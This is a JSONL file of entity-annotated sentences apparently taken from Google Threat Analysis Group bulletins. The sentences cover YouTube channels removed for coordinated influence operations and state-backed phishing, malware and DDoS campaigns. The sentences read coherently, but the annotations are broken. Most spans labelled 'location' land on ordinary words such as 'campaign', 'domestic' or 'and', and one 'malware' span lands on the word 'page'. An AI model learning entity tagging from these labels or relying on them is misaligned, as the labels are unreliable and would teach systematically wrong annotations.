-{"id":12304,"text":"This domestic campaign posted content supporting the Indonesian government.","entities":[{"id":38164,"label":"location","start_offset":5,"end_offset":13},{"id":38165,"label":"location","start_offset":14,"end_offset":22},{"id":38166,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":12305,"text":"We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":38170,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12306,"text":"This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.","entities":[{"id":38173,"label":"location","start_offset":5,"end_offset":13},{"id":38174,"label":"location","start_offset":21,"end_offset":28},{"id":38177,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":12307,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12308,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12309,"text":"This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.","entities":[{"id":38183,"label":"location","start_offset":5,"end_offset":13},{"id":38184,"label":"location","start_offset":21,"end_offset":28},{"id":38187,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12310,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38190,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12311,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
-{"id":12312,"text":"This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.","entities":[{"id":38195,"label":"location","start_offset":5,"end_offset":13},{"id":38196,"label":"location","start_offset":21,"end_offset":28},{"id":38199,"label":"location","start_offset":76,"end_offset":79},{"id":38201,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":12313,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38203,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12314,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12315,"text":"This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.","entities":[{"id":38208,"label":"location","start_offset":5,"end_offset":13},{"id":38209,"label":"location","start_offset":21,"end_offset":28},{"id":38211,"label":"location","start_offset":38,"end_offset":41},{"id":38213,"label":"location","start_offset":68,"end_offset":71},{"id":38214,"label":"location","start_offset":86,"end_offset":93},{"id":38216,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":12316,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38218,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12317,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12318,"text":"This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.","entities":[{"id":38223,"label":"location","start_offset":5,"end_offset":13},{"id":38224,"label":"location","start_offset":14,"end_offset":22},{"id":38226,"label":"location","start_offset":53,"end_offset":56},{"id":38227,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":12319,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38228,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12320,"text":"We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38232,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12321,"text":"This campaign uploaded content in Russian critical of the Ukrainian government.","entities":[{"id":38235,"label":"location","start_offset":5,"end_offset":13},{"id":38236,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12322,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
-{"id":12323,"text":"The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.","entities":[{"id":38241,"label":"location","start_offset":4,"end_offset":12},{"id":38242,"label":"location","start_offset":22,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":12324,"text":"We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38246,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12325,"text":"This campaign uploaded content in Arabic about current events in the Middle East and North Africa.","entities":[{"id":38249,"label":"location","start_offset":5,"end_offset":13},{"id":38250,"label":"location","start_offset":23,"end_offset":30},{"id":38253,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":12326,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38255,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12327,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
-{"id":12328,"text":"This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.","entities":[{"id":38260,"label":"location","start_offset":5,"end_offset":13},{"id":38261,"label":"location","start_offset":23,"end_offset":30},{"id":38264,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":12329,"text":"The campaign targeted the Central African Republic and Mali.","entities":[{"id":38266,"label":"location","start_offset":4,"end_offset":12},{"id":38268,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12330,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38270,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12331,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12332,"text":"This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.","entities":[{"id":38275,"label":"location","start_offset":5,"end_offset":13},{"id":38276,"label":"location","start_offset":14,"end_offset":22},{"id":38277,"label":"location","start_offset":32,"end_offset":39},{"id":38279,"label":"location","start_offset":89,"end_offset":92},{"id":38282,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":12333,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12334,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.","entities":[{"id":38287,"label":"location","start_offset":38,"end_offset":45},{"id":38289,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12335,"text":"A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.","entities":[{"id":38290,"label":"location","start_offset":7,"end_offset":12},{"id":38291,"label":"location","start_offset":29,"end_offset":36},{"id":38293,"label":"location","start_offset":48,"end_offset":51},{"id":38296,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12336,"text":"We received leads from Graphika and Fireye that supported us in this investigation.","entities":[{"id":38300,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12337,"text":"These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.","entities":[{"id":38302,"label":"location","start_offset":15,"end_offset":18},{"id":38304,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":12338,"text":"Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.","entities":[{"id":38306,"label":"location","start_offset":0,"end_offset":5},{"id":38307,"label":"location","start_offset":28,"end_offset":31},{"id":38308,"label":"location","start_offset":82,"end_offset":85},{"id":38311,"label":"location","start_offset":158,"end_offset":161},{"id":38312,"label":"location","start_offset":183,"end_offset":186},{"id":38313,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
-{"id":12339,"text":"As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.","entities":[{"id":38315,"label":"location","start_offset":85,"end_offset":88},{"id":38316,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":12340,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":38318,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":38320,"label":"location","start_offset":113,"end_offset":116},{"id":38323,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":12341,"text":"We haven’t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
 {"id":12342,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":38327,"label":"location","start_offset":35,"end_offset":38},{"id":38330,"label":"location","start_offset":83,"end_offset":91},{"id":38331,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":38332,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":12343,"text":"As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.","entities":[{"id":38334,"label":"location","start_offset":65,"end_offset":69},{"id":38335,"label":"attack-pattern","start_offset":77,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":12344,"text":"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.","entities":[{"id":38338,"label":"location","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":12345,"text":"The malware was a python-based implant using Dropbox for command and control.","entities":[{"id":38341,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":12346,"text":"It would allow the attacker to upload and download files as well as execute arbitrary commands.","entities":[{"id":38342,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":12347,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]}
 {"id":12348,"text":"In one example, attackers impersonated McAfee.","entities":[],"relations":[],"Comments":[]}
 {"id":12349,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]}
-{"id":12350,"text":"When we detect that a user is the target of a government-backed attack, we send them a prominent warning.","entities":[{"id":38347,"label":"location","start_offset":34,"end_offset":40},{"id":38348,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":12351,"text":"In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.","entities":[{"id":38349,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":12352,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
-{"id":12353,"text":"Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.","entities":[{"id":38351,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":12354,"text":"U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.","entities":[{"id":38354,"label":"location","start_offset":67,"end_offset":70},{"id":38355,"label":"location","start_offset":112,"end_offset":115},{"id":38356,"label":"location","start_offset":135,"end_offset":143},{"id":38357,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":12355,"text":"This has resulted in action on our platforms, as well as others.","entities":[{"id":38358,"label":"location","start_offset":21,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":12356,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
-{"id":12357,"text":"We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).","entities":[{"id":38369,"label":"location","start_offset":99,"end_offset":104},{"id":38372,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12358,"text":"To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.","entities":[{"id":38374,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":12359,"text":"Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.","entities":[{"id":38378,"label":"location","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":12360,"text":"This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.","entities":[{"id":38381,"label":"location","start_offset":55,"end_offset":58},{"id":38382,"label":"location","start_offset":118,"end_offset":121},{"id":38383,"label":"location","start_offset":137,"end_offset":144},{"id":38385,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":12361,"text":"A small fraction of these spam channels will then post videos about current events.","entities":[{"id":38386,"label":"location","start_offset":2,"end_offset":7},{"id":38387,"label":"location","start_offset":40,"end_offset":44},{"id":38388,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12362,"text":"Such videos frequently feature clumsy translations and computer-generated voices.","entities":[{"id":38389,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12363,"text":"Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).","entities":[{"id":38391,"label":"location","start_offset":24,"end_offset":27},{"id":38393,"label":"location","start_offset":108,"end_offset":115},{"id":38396,"label":"location","start_offset":162,"end_offset":165},{"id":38398,"label":"location","start_offset":211,"end_offset":216},{"id":38399,"label":"location","start_offset":227,"end_offset":234},{"id":38401,"label":"location","start_offset":246,"end_offset":249},{"id":38404,"label":"location","start_offset":324,"end_offset":331},{"id":38406,"label":"location","start_offset":366,"end_offset":369}],"relations":[],"Comments":[]}
 {"id":12364,"text":"As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]}
 {"id":12365,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
-{"id":12366,"text":"This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.","entities":[{"id":38410,"label":"location","start_offset":16,"end_offset":19},{"id":38413,"label":"location","start_offset":69,"end_offset":72},{"id":38415,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":12367,"text":"In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.","entities":[{"id":38418,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":12368,"text":"One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.","entities":[{"id":38421,"label":"location","start_offset":4,"end_offset":12},{"id":38422,"label":"location","start_offset":33,"end_offset":36},{"id":38423,"label":"location","start_offset":54,"end_offset":60},{"id":38424,"label":"location","start_offset":71,"end_offset":77},{"id":38425,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":12369,"text":"In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.","entities":[{"id":38426,"label":"location","start_offset":14,"end_offset":22},{"id":38427,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":12370,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.","entities":[{"id":38428,"label":"location","start_offset":56,"end_offset":59},{"id":38429,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":38430,"label":"location","start_offset":108,"end_offset":111},{"id":38431,"label":"location","start_offset":205,"end_offset":208},{"id":38432,"label":"location","start_offset":214,"end_offset":220},{"id":38433,"label":"location","start_offset":230,"end_offset":234},{"id":38434,"label":"location","start_offset":247,"end_offset":253},{"id":38435,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
 {"id":12371,"text":"While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":38436,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":38437,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":12372,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.","entities":[{"id":38441,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":38444,"label":"location","start_offset":163,"end_offset":167},{"id":38446,"label":"location","start_offset":176,"end_offset":179},{"id":38447,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
-{"id":12373,"text":"Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.","entities":[{"id":38448,"label":"location","start_offset":90,"end_offset":99},{"id":38449,"label":"location","start_offset":101,"end_offset":104},{"id":38450,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":12374,"text":"Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.","entities":[{"id":38451,"label":"location","start_offset":62,"end_offset":65},{"id":38452,"label":"location","start_offset":129,"end_offset":132},{"id":38453,"label":"location","start_offset":161,"end_offset":171},{"id":38454,"label":"location","start_offset":172,"end_offset":175},{"id":38455,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
 {"id":12375,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":12376,"text":"It was last updated on October 16, 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":12377,"text":"We terminated 1 advertising account and 7 YouTube channels as part of our actions against a coordinated influence operation linked to Ecuador.","entities":[{"id":38459,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":12378,"text":"The campaign was linked to the PR firm Estraterra, and posted content in Spanish about former Ecuador government employees.","entities":[{"id":38463,"label":"location","start_offset":4,"end_offset":12},{"id":38465,"label":"location","start_offset":51,"end_offset":54},{"id":38466,"label":"location","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":12379,"text":"These findings are consistent with similar findings reported by Facebook.","entities":[{"id":38469,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":12380,"text":"We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12381,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":38474,"label":"location","start_offset":38,"end_offset":45},{"id":38476,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12382,"text":"A very small subset uploaded content in Chinese about COVID-19 and current events in Hong Kong.","entities":[{"id":38477,"label":"location","start_offset":7,"end_offset":12},{"id":38478,"label":"location","start_offset":29,"end_offset":36},{"id":38480,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":12383,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":38482,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":12384,"text":"We terminated 1,846 YouTube channels and 5 blogs as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":38486,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":12385,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":38489,"label":"location","start_offset":38,"end_offset":45},{"id":38491,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12386,"text":"A small subset of the channels uploaded content in English about current events in Hong Kong and the U.S. response to COVID-19.","entities":[{"id":38492,"label":"location","start_offset":2,"end_offset":7},{"id":38493,"label":"location","start_offset":40,"end_offset":47},{"id":38496,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":12387,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":38498,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":12388,"text":"We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.","entities":[],"relations":[],"Comments":[]}
-{"id":12389,"text":"This domestic campaign posted content in Arabic in support of the Yemeni government.","entities":[{"id":38502,"label":"location","start_offset":5,"end_offset":13},{"id":38503,"label":"location","start_offset":14,"end_offset":22},{"id":38504,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":12390,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38507,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12391,"text":"We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.","entities":[],"relations":[],"Comments":[]}
-{"id":12392,"text":"The campaign was linked to a U.S.-based PR firm, CLS Strategies, and posted content in Spanish about Mexican elections.","entities":[{"id":38511,"label":"location","start_offset":4,"end_offset":12},{"id":38514,"label":"location","start_offset":65,"end_offset":68},{"id":38515,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":12393,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38518,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12394,"text":"We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12395,"text":"These channels mostly uploaded spammy content in English and Chinese about music, entertainment, and lifestyle.","entities":[{"id":38523,"label":"location","start_offset":38,"end_offset":45},{"id":38525,"label":"location","start_offset":57,"end_offset":60},{"id":38527,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":12396,"text":"A small subset of the channels uploaded content in English about current events in the U.S. and the U.S. response to COVID-19.","entities":[{"id":38528,"label":"location","start_offset":2,"end_offset":7},{"id":38529,"label":"location","start_offset":40,"end_offset":47},{"id":38532,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":12397,"text":"These findings are consistent with our previous reports in the Q2 TAG bulletin.","entities":[{"id":38534,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":12398,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":38538,"label":"location","start_offset":59,"end_offset":67},{"id":38540,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12399,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":38542,"label":"location","start_offset":19,"end_offset":23},{"id":38543,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":12400,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":38545,"label":"location","start_offset":51,"end_offset":59},{"id":38547,"label":"location","start_offset":117,"end_offset":125},{"id":38548,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":12401,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":38549,"label":"location","start_offset":93,"end_offset":99},{"id":38550,"label":"malware","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":12402,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":38552,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12403,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":38553,"label":"location","start_offset":39,"end_offset":44},{"id":38554,"label":"location","start_offset":93,"end_offset":101},{"id":38555,"label":"location","start_offset":141,"end_offset":144},{"id":38556,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12404,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":38559,"label":"location","start_offset":79,"end_offset":82},{"id":38560,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12405,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":38561,"label":"location","start_offset":39,"end_offset":44},{"id":38562,"label":"location","start_offset":80,"end_offset":84},{"id":38563,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":12406,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":38564,"label":"location","start_offset":8,"end_offset":12},{"id":38565,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":12407,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":38567,"label":"location","start_offset":27,"end_offset":31},{"id":38568,"label":"location","start_offset":33,"end_offset":41},{"id":38569,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12408,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":38570,"label":"location","start_offset":66,"end_offset":69},{"id":38571,"label":"location","start_offset":81,"end_offset":84},{"id":38572,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":12409,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":12410,"text":"Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":38573,"label":"location","start_offset":5,"end_offset":13},{"id":38576,"label":"location","start_offset":180,"end_offset":188},{"id":38577,"label":"location","start_offset":199,"end_offset":207},{"id":38578,"label":"location","start_offset":254,"end_offset":257},{"id":38579,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]}
-{"id":12411,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":38580,"label":"location","start_offset":23,"end_offset":31},{"id":38582,"label":"location","start_offset":130,"end_offset":135},{"id":38583,"label":"location","start_offset":139,"end_offset":145},{"id":38584,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":12412,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":38585,"label":"location","start_offset":3,"end_offset":7},{"id":38586,"label":"location","start_offset":13,"end_offset":17},{"id":38587,"label":"location","start_offset":18,"end_offset":22},{"id":38588,"label":"location","start_offset":43,"end_offset":51},{"id":38589,"label":"location","start_offset":61,"end_offset":70},{"id":38590,"label":"location","start_offset":81,"end_offset":84},{"id":38591,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":12413,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":38592,"label":"location","start_offset":30,"end_offset":33},{"id":38593,"label":"location","start_offset":47,"end_offset":55},{"id":38594,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":12414,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":38595,"label":"location","start_offset":110,"end_offset":113},{"id":38596,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":12415,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":38597,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":38598,"label":"location","start_offset":30,"end_offset":33},{"id":38599,"label":"location","start_offset":147,"end_offset":155},{"id":38600,"label":"location","start_offset":169,"end_offset":175},{"id":38601,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":12416,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":38602,"label":"location","start_offset":9,"end_offset":12},{"id":38604,"label":"location","start_offset":141,"end_offset":145},{"id":38605,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":12417,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":38608,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
